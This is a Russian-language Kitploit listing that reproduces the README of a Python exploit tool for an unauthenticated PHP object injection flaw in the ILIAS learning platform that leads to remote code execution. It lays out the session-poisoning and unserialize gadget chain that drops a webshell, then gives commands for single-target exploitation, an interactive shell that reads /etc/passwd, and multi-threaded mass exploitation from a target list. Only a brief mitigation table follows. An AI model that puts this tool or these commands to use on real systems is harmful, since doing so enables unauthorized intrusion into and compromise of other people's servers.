Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-80428 — ILIAS ≤ 9.21 / 10.9 / 11.2 — Неаутентифицированная инъекция PHP-объектов (RCE) | Kitploit
Инструменты/GitHubGitHub/hackfutsecroot/cve-2026-80428
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubhackfutsecroot/cve-2026-80428

CVE-2026-80428

ILIAS ≤ 9.21 / 10.9 / 11.2 — Неаутентифицированная инъекция PHP-объектов (RCE)

21228 дней назадЕщё не проверено
Репозиторий
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Typing SVG

CVE ILIAS Type Python License



🚨 ILIAS ≤ 9.21 / 10.9 / 11.2 — Неаутентифицированная инъекция PHP-объектов (RCE)

CVE-2026-80428

Вектор: Endpoint обратного выхода Shibboleth
Воздействие: Полное удалённое выполнение кода от имени пользователя веб-сервера
Критичность: 🔴 КРИТИЧЕСКАЯ



📖 Содержание

  • 🔍 Обзор
  • ⚙️ Цепочка уязвимостей
  • 🎯 Затронутые версии
  • ✨ Возможности
  • 📦 Установка
  • 🚀 Использование
    • Эксплуатация одной цели
    • Интерактивная оболочка
    • Массовая эксплуатация
  • 📁 Формат списка целей
  • 🖼️ Скриншоты
  • 🛡️ Меры защиты
  • 📢 Каналы и сообщество
  • ⚠️ Отказ от ответственности

🔍 Обзор

CVE-2026-80428 — критическая уязвимость неаутентифицированной инъекции PHP-объектов, затрагивающая систему управления обучением ILIAS. Объединив примитив отравления сессии в ltiauth.php с небезопасным вызовом unserialize() в shib_logout.php, атакующий может добиться записи произвольных файлов и, в конечном итоге, удалённого выполнения кода (RCE) — и всё это без аутентификации.


🎯 Параметр📋 Значение
CVE IDCVE-2026-80428
ТипИнъекция PHP-объектов → RCE
Требуется аутентификация❌ Нет
Вектор атакиСеть (HTTP/HTTPS)
Оценка CVSS9.8 (критическая)

⚙️ Цепочка уязвимостей

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Пошагово:

  1. ltiauth.php сохраняет сериализованную полезную нагрузку в сессии PHP без проверки.
  2. shib_logout.php обрабатывает специально сформированный SOAP-запрос Shibboleth LogoutNotification и вызывает unserialize() для данных сессии.
  3. Гаджет GuzzleHttp\Cookie\FileCookieJar вызывает file_put_contents(), чтобы разместить PHP-веб-шелл по контролируемому атакующим пути.

🎯 Уязвимые версии

🏷️ Ветка❌ Уязвима✅ Исправлена
9.x≤ 9.21≥ 9.22
10.x≤ 10.9≥ 10.10
11.x≤ 11.2≥ 11.3

✨ Возможности

🔥 Основное

  • ✅ Эксплуатация без аутентификации
  • ✅ Режим одиночной цели (exploit)
  • ✅ Интерактивный псевдошелл (shell)
  • ✅ Массовая эксплуатация с многопроцессностью (mass)

💎 Удобство использования

  • 🎨 Полноцветный вывод ANSI
  • 🔄 Автоматический перебор путей
  • 🧠 Определение версии и проверка патча
  • 📝 Автосохранение уязвимых целей
  • 🌐 Поддержка пользовательского заголовка Host
  • 🔒 Поддержка устаревшего TLS

📦 Установка

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Требования:

  • Python 3.8+
  • requests
  • urllib3

🚀 Использование

python3 CVE-2026-80428.py <mode> [options]

📌 Эксплойт для одной цели

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Опции:

ФлагОписаниеПо умолчанию
--portЦелевой порт443
--pathКорневой каталог ILIAS на диске/var/www/ilias/public
--host-headerПользовательский заголовок Host—
--timeoutТайм-аут запроса (с)30

💻 Интерактивная оболочка

python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 Массовая эксплуатация

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Опции:

ФлагОписаниеПо умолчанию
-l, --listОбязательно — Файл со списком целей—
-t, --threadsКоличество параллельных воркеров20
-o, --outputФайл для вывода уязвимых целейilias_vuln.txt
--pathКорневой каталог ILIAS (docroot)/var/www/ilias/public
--host-headerПользовательский заголовок Host—
--timeoutТайм-аут запроса (с)30

📁 Формат списка целей

Создайте файл targets.txt:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Поддерживаемые форматы:

  • host
  • host:port
  • http://host
  • https://host:port
  • host/path (путь отбрасывается)

🖼️ Скриншоты

🎬 Вывод массового сканирования

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ Смягчение последствий

Для специалистов по защите и системных администраторов:

🛠️ Действие📝 Подробности
🔼 Обновить ILIAS9.22 / 10.10 / 11.3 или новее
🚫 Отключить ShibbolethЕсли не используется — удалите shib_logout.php
🧱 Правила WAFБлокируйте некорректные SOAP-полезные нагрузки LogoutNotification
📂 Ограничить доступ на записьКорневой каталог веб-сервера не должен быть доступен для записи пользователю www-data
🔍 МониторингИщите неожиданные файлы .php в каталогах upload/cache

📢 Каналы и сообщество

🌐 Присоединяйтесь к сообществу


Скачать инструмент